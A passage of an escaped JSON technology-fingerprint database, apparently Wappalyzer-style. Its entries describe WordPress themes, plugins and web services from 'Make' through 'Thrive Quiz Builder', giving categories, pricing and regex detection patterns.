\"\\\\;confidence:50\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\",\n      \"onetime\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/themes/make(?:-child)?/.+frontend\\\\.js(?:\\\\?ver=(\\\\d+(?:\\\\.\\\\d+)+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://thethemefoundry.com/wordpress-themes/make\"\n  },\n  \"The.com\": {\n    \"cats\": [\n      18,\n      51\n    ],\n    \"description\": \"The.com is a low-code website building platform with community-created components that you can share and own.\",\n    \"icon\": \"The.com.svg\",\n    \"implies\": [\n      \"React\",\n      \"Amazon S3\"\n    ],\n    \"pricing\": [\n      \"payg\",\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"the-dotcom-public-cdn\\\\.s3\\\\.amazonaws\\\\.com/\"\n    ],\n    \"website\": \"https://www.the.com\"\n  },\n  \"Theatre.js\": {\n    \"cats\": [\n      25\n    ],\n    \"description\": \"Theatre.js is a javascript animation library with a professional motion design toolset.\",\n    \"icon\": \"Theatre.js.svg\",\n    \"js\": {\n      \"__TheatreJS_CoreBundle\": \"\",\n      \"__TheatreJS_CoreBundle.version\": \"((?:\\\\d+\\\\.)+\\\\d+)\\\\;version:\\\\1\"\n    },\n    \"oss\": true,\n    \"website\": \"https://www.theatrejs.com\"\n  },\n  \"Thefork\": {\n    \"cats\": [\n      93\n    ],\n    \"description\": \"Thefork is a restaurant booking, managing system.\",\n    \"dom\": {\n      \"iframe[data-src*='lafourchette']\": {\n        \"attributes\": {\n          \"data-src\": \"module\\\\.lafourchette.\\\\w+\"\n        }\n      },\n      \"iframe[src*='lafourchette']\": {\n        \"attributes\": {\n          \"src\": \"module\\\\.lafourchette.\\\\w+\"\n        }\n      }\n    },\n    \"icon\": \"Thefork.svg\",\n    \"pricing\": [\n      \"mid\",\n      \"freemium\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.thefork.com\"\n  },\n  \"Thelia\": {\n    \"cats\": [\n      1,\n      6\n    ],\n    \"description\": \"Thelia is an open-source ecommerce platform based on the Symfony framework, designed for creating customized and scalable ecommerce sites.\",\n    \"html\": [\n      \"<(?:link|style|script)[^>]+/assets/frontOffice/\"\n    ],\n    \"icon\": \"Thelia.svg\",\n    \"implies\": [\n      \"PHP\",\n      \"Symfony\"\n    ],\n    \"oss\": true,\n    \"website\": \"https://thelia.net\"\n  },\n  \"Theme Freesia Edge\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"Edge is a responsive blogger WordPress theme by Theme Freesia.\",\n    \"icon\": \"Theme Freesia.svg\",\n    \"js\": {\n      \"edge_slider_value\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"onetime\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/themes/edge(?:-plus)?/\"\n    ],\n    \"website\": \"https://themefreesia.com/themes/edge\"\n  },\n  \"Theme Freesia Photograph\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"Photograph is a WordPress theme exclusively built for photographer, blogger, portfolio, photography agency or photo studio websites.\",\n    \"icon\": \"Theme Freesia.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"onetime\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/themes/photograph(?:-plus)?/\"\n    ],\n    \"website\": \"https://themefreesia.com/themes/Photograph\"\n  },\n  \"Theme Freesia ShoppingCart\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"ShoppingCart is a WordPress theme especially build for store and ecommerce by Theme Freesia.\",\n    \"icon\": \"Theme Freesia.svg\",\n    \"js\": {\n      \"shoppingcart_slider_value\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"onetime\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/themes/shoppingcart(?:-plus)?/\"\n    ],\n    \"website\": \"https://themefreesia.com/themes/shoppingcart\"\n  },\n  \"Theme Horse Attitude\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"Attitude is a simple, clean and responsive retina ready WordPress theme by Theme Horse.\",\n    \"dom\": [\n      \"link[href*='/wp-content/themes/attitude-pro/']\"\n    ],\n    \"icon\": \"Theme Horse.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"onetime\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/themes/attitude(?:-pro)?/\"\n    ],\n    \"website\": \"https://www.themehorse.com/themes/attitude\"\n  },\n  \"Theme Horse NewsCard\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"NewsCard is a multi-purpose magazine/news WordPress theme by Theme Horse.\",\n    \"dom\": [\n      \"link[href*='/wp-content/themes/newscard-pro/']\"\n    ],\n    \"icon\": \"Theme Horse.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"onetime\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/themes/newscard(?:-pro)?/\"\n    ],\n    \"website\": \"https://www.themehorse.com/themes/newscard\"\n  },\n  \"Theme Vision Agama\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"Agama is a free multi-purpose WordPress theme by Theme Vision.\",\n    \"icon\": \"Theme Vision.png\",\n    \"js\": {\n      \"agama\": \"\",\n      \"agama_pro\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"onetime\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/themes/agama(?:-pro)?/.+functions\\\\.js(?:\\\\?ver=(\\\\d+(?:\\\\.\\\\d+)+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://theme-vision.com/agama\"\n  },\n  \"Theme4Press Evolve\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"Theme4Press Evolve is an multipurpose and minimal WordPress theme.\",\n    \"icon\": \"Theme4Press.svg\",\n    \"js\": {\n      \"evolve_js_local_vars\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"onetime\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/themes/evolve(?:-plus)?/\"\n    ],\n    \"website\": \"https://theme4press.com/evolve-multipurpose-wordpress-theme\"\n  },\n  \"ThemeGrill Accelerate\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"ThemeGrill Accelerate is free minimal WordPress theme.\",\n    \"dom\": [\n      \"link#accelerate_style-css\"\n    ],\n    \"icon\": \"ThemeGrill.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\",\n      \"onetime\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/themes/accelerate(?:-pro)?/\"\n    ],\n    \"website\": \"https://themegrill.com/themes/accelerate\"\n  },\n  \"ThemeGrill Cenote\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"ThemeGrill Cenote is a creative blogging WordPress theme, fully compatible with WooCommerce and popular page builders.\",\n    \"dom\": [\n      \"link[href*='/wp-content/themes/cenote/'], link[href*='/wp-content/themes/cenote-pro/']\"\n    ],\n    \"icon\": \"ThemeGrill.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\",\n      \"onetime\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/themes/cenote(?:-pro)?/\"\n    ],\n    \"website\": \"https://themegrill.com/themes/cenote\"\n  },\n  \"ThemeGrill ColorMag\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"ThemeGrill ColorMag is most popular magazine-newspaper style WordPress theme.\",\n    \"dom\": [\n      \"link#colormag_style-css\"\n    ],\n    \"icon\": \"ThemeGrill.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\",\n      \"onetime\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/themes/colormag(?:-pro)?/\"\n    ],\n    \"website\": \"https://themegrill.com/themes/colormag\"\n  },\n  \"ThemeGrill Flash\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"ThemeGrill Flash is one of the most flexible multipurpose WordPress themes.\",\n    \"dom\": [\n      \"link[href='/wp-content/themes/flash']\"\n    ],\n    \"icon\": \"ThemeGrill.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\",\n      \"onetime\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/themes/flash(?:-pro)?/\"\n    ],\n    \"website\": \"https://themegrill.com/themes/flash\"\n  },\n  \"ThemeGrill Radiate\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"ThemeGrill Radiate is a simple and minimal WordPress theme focused on blogging.\",\n    \"dom\": [\n      \"link#radiate-style-css\"\n    ],\n    \"icon\": \"ThemeGrill.svg\",\n    \"js\": {\n      \"radiateScriptParam\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\",\n      \"onetime\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/themes/radiate(?:-pro)?/\"\n    ],\n    \"website\": \"https://themegrill.com/themes/radiate\"\n  },\n  \"ThemeGrill Spacious\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"ThemeGrill Spacious is beautiful small to medium business responsive WordPress theme.\",\n    \"dom\": [\n      \"link#spacious_style-css\"\n    ],\n    \"icon\": \"ThemeGrill.svg\",\n    \"js\": {\n      \"spacious_slider_value\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\",\n      \"onetime\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/themes/spacious(?:-pro)?/\"\n    ],\n    \"website\": \"https://themegrill.com/themes/spacious\"\n  },\n  \"ThemeGrill eStore\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"ThemeGrill eStore is one of the most popular WooCommerce integrated WordPress themes.\",\n    \"icon\": \"ThemeGrill.svg\",\n    \"implies\": [\n      \"Cart Functionality\"\n    ],\n    \"meta\": {\n      \"generator\": \"eStore v\\\\.([\\\\d\\\\.]+)\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\",\n      \"onetime\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/themes/e(?:s|S)tore(?:-pro)?/\"\n    ],\n    \"website\": \"https://themegrill.com/themes/estore\"\n  },\n  \"ThemeIsle Menu Icons\": {\n    \"cats\": [\n      87\n    ],\n    \"description\": \"ThemeIsle Menu Icons plugin gives you the ability to add icons to your menu items, similar to the look of the latest dashboard menu.\",\n    \"dom\": [\n      \"link[href*='/wp-content/plugins/menu-icons/']\"\n    ],\n    \"icon\": \"ThemeIsle.svg\",\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"website\": \"https://wordpress.org/plugins/menu-icons\"\n  },\n  \"ThemeZee Donovan\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"ThemeZee Donovan is a flexible, yet easy-to-use blogging WordPress theme.\",\n    \"icon\": \"ThemeZee.svg\",\n    \"js\": {\n      \"donovanScreenReaderText\": \"\",\n      \"donovan_menu_title\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\",\n      \"onetime\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/themes/donovan/\"\n    ],\n    \"website\": \"https://themezee.com/themes/donovan\"\n  },\n  \"ThemeZee Poseidon\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"ThemeZee Poseidon is an elegant designed WordPress theme featuring a splendid fullscreen image slideshow.\",\n    \"icon\": \"ThemeZee.svg\",\n    \"js\": {\n      \"poseidonScreenReaderText\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\",\n      \"onetime\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/themes/poseidon/\"\n    ],\n    \"website\": \"https://themezee.com/themes/poseidon\"\n  },\n  \"ThemeZee Wellington\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"Wellington is a clean and simple magazine WordPress theme by ThemeZee.\",\n    \"icon\": \"ThemeZee.svg\",\n    \"js\": {\n      \"wellingtonScreenReaderText\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\",\n      \"onetime\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/themes/wellington/\"\n    ],\n    \"website\": \"https://themezee.com/themes/wellington\"\n  },\n  \"Themeansar Newsberg\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"Themeansar Newsberg is a fast, clean, modern-looking, responsive news magazine WordPress theme.\",\n    \"dom\": [\n      \"link#newsberg-style-css\"\n    ],\n    \"excludes\": [\n      \"Themeansar Newsup\"\n    ],\n    \"icon\": \"Themeansar.png\",\n    \"pricing\": [\n      \"freemium\",\n      \"onetime\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"website\": \"https://themeansar.com/free-themes/newsberg\"\n  },\n  \"Themeansar Newsup\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"Themeansar Newsup is a fast, clean, modern-looking responsive news magazine WordPress theme.\",\n    \"icon\": \"Themeansar.png\",\n    \"pricing\": [\n      \"freemium\",\n      \"onetime\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/themes/newsup(?:-pro)?/\"\n    ],\n    \"website\": \"https://themeansar.com/free-themes/newsup\"\n  },\n  \"Themebeez Cream Magazine\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"Cream Magazine is a news and magazine WordPress theme by Themebeez.\",\n    \"icon\": \"Themebeez.svg\",\n    \"js\": {\n      \"cream_magazine_script_obj\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"onetime\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"website\": \"https://themebeez.com/themes/cream-magazine\"\n  },\n  \"Themebeez Orchid Store\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"Orchid Store is a clean, flexible, stylish and dynamic ecommerce WordPress theme by Themebeez.\",\n    \"icon\": \"Themebeez.svg\",\n    \"js\": {\n      \"orchid_store_obj\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"onetime\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/themes/orchid-store(?:-child)?/.+bundle\\\\.min\\\\.js(?:\\\\?ver=(\\\\d+(?:\\\\.\\\\d+)+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://themebeez.com/themes/orchid-store\"\n  },\n  \"Themegraphy Graphy\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"Themegraphy Graphy is now compatible with WordPress 5.0 and Gutenberg blog-oriented WordPress theme.\",\n    \"icon\": \"Themegraphy.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"onetime\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/themes/graphy(?:-pro)?/\"\n    ],\n    \"website\": \"https://themegraphy.com/wordpress-themes/graphy\"\n  },\n  \"Themes4Wp Bulk\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"Themes4Wp Bulk is a modern and responsive multipurpose WordPress theme.\",\n    \"icon\": \"Themes4Wp.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"onetime\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/themes/bulk(?:-pro)?/.+customscript\\\\.js(?:\\\\?ver=(\\\\d+(?:\\\\.\\\\d+)+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://themes4wp.com/theme/bulk\"\n  },\n  \"ThemezHut Bam\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"ThemezHut Bam is a great flexible WordPress theme for blogging sites.\",\n    \"icon\": \"ThemezHut.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"onetime\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/themes/bam(?:-pro)?/\"\n    ],\n    \"website\": \"https://themezhut.com/themes/bam\"\n  },\n  \"ThemezHut HitMag\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"ThemezHut HitMag is a stylish and powerful WordPress theme crafted for magazines, newspapers or personal blogs.\",\n    \"icon\": \"ThemezHut.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"onetime\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/themes/hitmag(?:-pro)?/\"\n    ],\n    \"website\": \"https://themezhut.com/themes/hitmag\"\n  },\n  \"Themonic Iconic One\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"Themonic Iconic One is a premium quality WordPress theme with pixel perfect typography and responsiveness and is built for speed.\",\n    \"icon\": \"Themonic.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/themes/iconic-one(?:-[\\\\w]+)?/\"\n    ],\n    \"website\": \"https://themonic.com/iconic-one\"\n  },\n  \"Thesis\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Thesis is a conversion rate optimisation company.\",\n    \"icon\": \"Thesis.svg\",\n    \"js\": {\n      \"thix.history\": \"\\\\;confidence:50\",\n      \"thix.t\": \"\\\\;confidence:50\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"thix\\\\.ttsep\\\\.com/\"\n    ],\n    \"website\": \"https://www.thesistesting.com\"\n  },\n  \"ThimPress Course Review\": {\n    \"cats\": [\n      87\n    ],\n    \"description\": \"Course Review is a WordPress plugin by ThimPress. Course Review gives students the opportunity to evaluate and provide feedback in order to improve the course.\",\n    \"dom\": [\n      \"link[href*='/wp-content/plugins/learnpress-course-review/']\"\n    ],\n    \"icon\": \"ThimPress.svg\",\n    \"pricing\": [\n      \"freemium\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"website\": \"https://wordpress.org/plugins/learnpress-course-review\"\n  },\n  \"ThimPress Course Wishlist\": {\n    \"cats\": [\n      87\n    ],\n    \"description\": \"Course Wishlist is a WordPress plugin by ThimPress. Course Wishlist bring wishlist feature for LearnPress.\",\n    \"dom\": [\n      \"link[href*='/wp-content/plugins/learnpress-wishlist/']\"\n    ],\n    \"icon\": \"ThimPress.svg\",\n    \"pricing\": [\n      \"freemium\"\n    ],\n    \"requires\": [\n      \"WordPress\",\n      \"ThimPress LearnPress\"\n    ],\n    \"website\": \"https://wordpress.org/plugins/learnpress-wishlist\"\n  },\n  \"ThimPress Gradebook\": {\n    \"cats\": [\n      87\n    ],\n    \"description\": \"Gradebook is a WordPress plugin by ThimPress. Gradebook add-on for LearnPress makes it easier to track the students learning progress and result.\",\n    \"dom\": [\n      \"link[href*='/wp-content/plugins/learnpress-gradebook/']\"\n    ],\n    \"icon\": \"ThimPress.svg\",\n    \"pricing\": [\n      \"onetime\"\n    ],\n    \"requires\": [\n      \"WordPress\",\n      \"ThimPress LearnPress\"\n    ],\n    \"website\": \"https://thimpress.com/product/gradebook-add-on-for-learnpress\"\n  },\n  \"ThimPress LearnPress\": {\n    \"cats\": [\n      87,\n      21\n    ],\n    \"description\": \"LearnPress is a WordPress LMS plugin by ThimPress.\",\n    \"dom\": [\n      \"link[href*='/wp-content/plugins/learnpress/']\"\n    ],\n    \"icon\": \"ThimPress.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"onetime\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/plugins/learnpress/.+\\\\.js(?:\\\\?ver=(\\\\d+(?:\\\\.\\\\d+)+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://wordpress.org/plugins/learnpress\"\n  },\n  \"Thimatic\": {\n    \"cats\": [\n      90,\n      100\n    ],\n    \"description\": \"Thimatic is a Shopify app for product reviews.\",\n    \"icon\": \"Thimatic.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"thimatic-apps\\\\.com/product_review/.*?v=([\\\\d.]+)\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://thimatic-apps.com/\"\n  },\n  \"Think Up Themes Consulting\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"Think Up Themes Consulting is a multipurpose WordPress theme that is available for free download and also offers a pro version.\",\n    \"dom\": [\n      \"link#consulting-style-css\"\n    ],\n    \"icon\": \"Think Up Themes.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"onetime\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/themes/consulting(?:-pro)?/\"\n    ],\n    \"website\": \"https://www.thinkupthemes.com/themes/consulting\"\n  },\n  \"Think Up Themes Minamaze\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"Think Up Themes Minamaze is a multipurpose WordPress theme that is available for free download and also offers a pro version.\",\n    \"dom\": [\n      \"link#minamaze-style-css\"\n    ],\n    \"icon\": \"Think Up Themes.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"onetime\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/themes/minamaze(?:-pro)?/\"\n    ],\n    \"website\": \"https://www.thinkupthemes.com/themes/minamaze\"\n  },\n  \"ThinkPHP\": {\n    \"cats\": [\n      18\n    ],\n    \"cookies\": {\n      \"thinkphp_show_page_trace\": \"\"\n    },\n    \"cpe\": \"cpe:2.3:a:thinkphp:thinkphp:*:*:*:*:*:*:*:*\",\n    \"description\": \"ThinkPHP is an open-source PHP framework with MVC structure developed and maintained by Shanghai Topthink Company.\",\n    \"headers\": {\n      \"X-Powered-By\": \"ThinkPHP\"\n    },\n    \"icon\": \"ThinkPHP.png\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"oss\": true,\n    \"website\": \"https://www.thinkphp.cn\"\n  },\n  \"Thinkific\": {\n    \"cats\": [\n      21\n    ],\n    \"cookies\": {\n      \"_thinkific_session\": \"\"\n    },\n    \"description\": \"Thinkific is a software platform that enables entrepreneurs to create, market, sell, and deliver their own online courses.\",\n    \"icon\": \"Thinkific.svg\",\n    \"js\": {\n      \"Thinkific\": \"\",\n      \"ThinkificAnalytics\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn(?:-themes)?\\\\.thinkific\\\\.com\"\n    ],\n    \"website\": \"https://www.thinkific.com\"\n  },\n  \"Thinking Chat\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"Thinking Chat is an automated lead capture and chat solution.\",\n    \"icon\": \"ThinkingChat.svg\",\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.thinkingchat\\\\.com/\"\n    ],\n    \"website\": \"https://thinkingchat.com\"\n  },\n  \"Thor-Media\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"Thor-Media is a Russian-based affiliate advertising system that connects advertisers with affiliates for performance-based marketing campaigns.\",\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"t\\\\.thor-media\\\\.ru/\"\n    ],\n    \"website\": \"https://thor-media.ru\"\n  },\n  \"ThreatMetrix\": {\n    \"cats\": [\n      16,\n      83\n    ],\n    \"description\": \"LexisNexis ThreatMetrix is an enterprise solution for online risk and fraud protection ('digital identity intelligence and digital authentication').\",\n    \"icon\": \"threatmetrix.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.online-metrix\\\\.net\"\n    ],\n    \"website\": \"https://risk.lexisnexis.com/products/threatmetrix\"\n  },\n  \"Three.js\": {\n    \"cats\": [\n      25\n    ],\n    \"description\": \"Three.js is a cross-browser JavaScript library and application programming interface used to create and display animated 3D computer graphics in a web browser using WebGL.\",\n    \"dom\": [\n      \"canvas[data-engine*='three.js']\"\n    ],\n    \"icon\": \"Three.js.svg\",\n    \"js\": {\n      \"THREE.REVISION\": \"^(.+)$\\\\;version:\\\\1\",\n      \"__THREE__\": \"^(.+)$\\\\;version:\\\\1\"\n    },\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"three(?:\\\\.min)?\\\\.js\"\n    ],\n    \"website\": \"https://threejs.org\"\n  },\n  \"Threekit\": {\n    \"cats\": [\n      105,\n      95\n    ],\n    \"description\": \"Threekit is a visual customer experience solution that enables brands to create, manage and scale photorealistic images and 3D product visuals, all from a single design file.\",\n    \"icon\": \"Threekit.svg\",\n    \"js\": {\n      \"threekit.configuratorForm\": \"\",\n      \"threekitAR\": \"\",\n      \"threekitPlayer\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.threekit.com\"\n  },\n  \"Thrinacia\": {\n    \"cats\": [\n      111\n    ],\n    \"description\": \"Thrinacia is a scalable Enterprise SaaS crowdfunding engine that enables the operation of custom white-labeled crowdfunding websites.\",\n    \"icon\": \"Thrinacia.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.thrinacia\\\\.com/\"\n    ],\n    \"website\": \"https://www.thrinacia.com\"\n  },\n  \"Thrive Apprentice\": {\n    \"cats\": [\n      87,\n      21\n    ],\n    \"description\": \"Thrive Apprentice is a WordPress plugin for creating online courses and also a membership plugin.\",\n    \"dom\": [\n      \"link[href*='/wp-content/plugins/thrive-apprentice/']\"\n    ],\n    \"icon\": \"Thrive.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"/wp-content/plugins/thrive-apprentice/.+\\\\.js(?:\\\\?ver=(\\\\d+(?:\\\\.\\\\d+)+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://thrivethemes.com/apprentice/\"\n  },\n  \"Thrive Architect\": {\n    \"cats\": [\n      87,\n      51\n    ],\n    \"description\": \"Thrive Architect is the visual page builder for WordPress.\",\n    \"dom\": [\n      \"link[href*='/wp-content/plugins/thrive-visual-editor/']\"\n    ],\n    \"icon\": \"Thrive.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"/wp-content/plugins/thrive-visual-editor/.+\\\\.js(?:\\\\?ver=(\\\\d+(?:\\\\.\\\\d+)+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://thrivethemes.com/architect/\"\n  },\n  \"Thrive Comments\": {\n    \"cats\": [\n      87\n    ],\n    \"description\": \"Thrive Comments plugin replaces the standard WordPress comments from your website.\",\n    \"dom\": [\n      \"link[href*='/wp-content/plugins/thrive-comments/']\"\n    ],\n    \"icon\": \"Thrive.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"/wp-content/plugins/thrive-comments/.+\\\\.js(?:\\\\?ver=(\\\\d+(?:\\\\.\\\\d+)+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://thrivethemes.com/comments/\"\n  },\n  \"Thrive Leads\": {\n    \"cats\": [\n      87\n    ],\n    \"description\": \"Thrive Leads is an all-in-one email list building plugin for WordPress.\",\n    \"dom\": [\n      \"link[href*='/wp-content/plugins/thrive-leads/']\"\n    ],\n    \"icon\": \"Thrive.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"/wp-content/plugins/thrive-leads/.+\\\\.js(?:\\\\?ver=(\\\\d+(?:\\\\.\\\\d+)+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://thrivethemes.com/leads/\"\n  },\n  \"Thrive Quiz Builder\": {\n    \"cats\": [\n      87\n    ],\n    \"description\": \"Thrive Quiz Builder is a powerful WordPress plugin that can help you to create quizzes for your website or blog.\",\n    \"dom\": [\n      \"link[href*='/wp-content/plugins/thrive-quiz-builder/']\"\n    ],\n    \"icon\": \"Thrive.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"/wp-content/plugins/thrive-quiz-builder/.+\\\\.js(?:\\\\?ver=(\\\\d+(?:\\\\.\\\\d+)+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": 